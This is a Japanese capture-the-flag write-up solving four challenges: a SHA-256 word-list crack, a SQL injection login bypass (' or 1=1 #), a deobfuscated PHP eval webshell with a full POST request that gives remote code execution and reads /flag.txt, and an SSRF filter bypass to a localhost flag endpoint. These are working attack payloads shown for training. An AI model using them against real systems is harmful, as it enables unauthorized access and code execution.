https://ctftime.org/event/251634
- [crypto] the-moth-flies-at-dawn
- [web] cryptid-hunters
- [web] entangled-server
- [web] paranormal-picture
[crypto] the-moth-flies-at-dawn
hash.txtというハッシュが書かれたファイルとwordList.txtという辞書ファイルが与えられる。ヒントが問題の本質。
HINT: It would be a SHAme if all 256 of these meals went to waste.
ということで、何かのSHA256ハッシュを取ったものが、hash.txtとして置かれているようである。ChatGPTでpythonでwordList.txtに書かれた各行をsha256ハッシュにして、hash.txtと一致するものを出力したい
のように指示してコードを書かせる。
import hashlib # ファイルのパスを指定します wordlist_path = 'wordList.txt' hashlist_path = 'hash.txt' # hash.txt からハッシュ値を読み込む with open(hashlist_path, 'r') as hash_file: hash_set = {line.strip() for line in hash_file} # 各行のハッシュ値をセットに格納 # wordList.txt の各行をハッシュ化し、hash.txt 内のいずれかのハッシュと一致するか確認 with open(wordlist_path, 'r') as wordlist_file: for word in wordlist_file: word = word.strip() # 各行のテキストを読み込み word_hash = hashlib.sha256(word.encode()).hexdigest() # SHA256ハッシュを生成 # ハッシュがhash.txt内に存在する場合、そのテキストを出力 if word_hash in hash_set: print(word)
これをsolver.pyとして保存して実行すると答えが出てくる。
$ python3 solver.py blueberrypancake
[web] cryptid-hunters
ソースコード無し。以下のようなヒントが与えられている。
Hint: The hunters' webmaster is very tech illiterate. It seems like he just followed some intro level tutorial or used some free AI tool for the code.
アクセスして巡回するとlogin.php
というサイトがあり、ヒントが示唆するような基本的な脆弱性を試すと、SQL Injectionが刺さってフラグが出てくる。
username -> admin password -> ' or 1=1 #
とすれば良い。
[web] entangled-server
難読化されたphpコードが与えられる。難読化を根性で復元して、変名すると以下のようになる。復元フェースが本編だと思うが、文字列を作ってそうな所をphpをインタプリターを実行して文字列にちまちま変形していくのを繰り返していけばよい。
<?php @ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("max_execution_time",0); @set_time_limit(0); $input=NULL; $key=NULL; $GLOBALS["secret"]="5p1n-th3-51lly-5tr1ng5"; global $secret; function f1($input,$key){ $res=""; for($i=0; $i<strlen($input);){ for($j=0; $j<strlen($key) && $i<strlen($input); $j++,$i++){ $res.=chr(ord($input[$i])^ord($key[$j])); } } return $res; } function f2($input,$key){ global $secret; return f1(f1($input,$secret),$key); } if(!$input){ foreach($_POST as $_key => $_val){ $input=$_val; $key=$_key; } } $input = @json_decode(f2(base64_decode($input),$key),true); if(isset($input["ak"]) && $secret==$input["ak"]){ if($input["a"]=="e"){ eval($input[d]); } exit(); } ?>
secretとkeyでXORしているのでsecretとkeyを一致させてやれば変換後は入力と同じものとなる。よって、以下のようなリクエストを送ればRCEできる。
POST /?c=id HTTP/1.1 Host: [redacted]:1337 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 135 5p1n-th3-51lly-5tr1ng5=eyJhayI6IjVwMW4tdGgzLTUxbGx5LTV0cjFuZzUiLCAiYSI6ImUiLCAiZCI6ImVjaG8gcGFzc3RocnUoJ2NhdCAvZmxhZy50eHQnKTsifQ%3d%3d
base64エンコード部分は{"ak":"5p1n-th3-51lly-5tr1ng5", "a":"e", "d":"echo passthru('cat /flag.txt');"}
。
[web] paranormal-picture
ソースコード有り。pythonで書かれたwebサイトが与えられる。フラグは以下にある。
@app.route('/flag') def flag(): if request.remote_addr == '::ffff:127.0.0.1' or request.remote_addr == '::1': return render_template('flag.html', FLAG=os.environ.get("FLAG")) else: return render_template('alarm.html'), 403
SSRFをしないといけない。SSRFができるポイントは以下にある。
def verifyBlog(url): blog_list = ["blog","cryptid","real","666",".org"] for word in blog_list: if word not in url: return False return True @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': url = request.form['url'] try: result = verifyBlog(url) if not result: return render_template('index.html', error=f"Please submit a blog!") except: return render_template('index.html', error=f"Please submit a blog!") r = requests.get(url) return render_template('index.html', result=r.text) return render_template('index.html')
urlを入力して踏ませることができるが、verifyBlogを通す必要がある。これは["blog","cryptid","real","666",".org"]
をURLに全て含んでいる必要があるというものであるが、この文字列がURLに入ってさえいればいいので、query-stringsとして埋め込むことにしよう。よって、http://localhost/flag
にアクセスしたいのだが、
http://localhost/flag?blogcryptidreal666.org
を送ればフラグが得られる。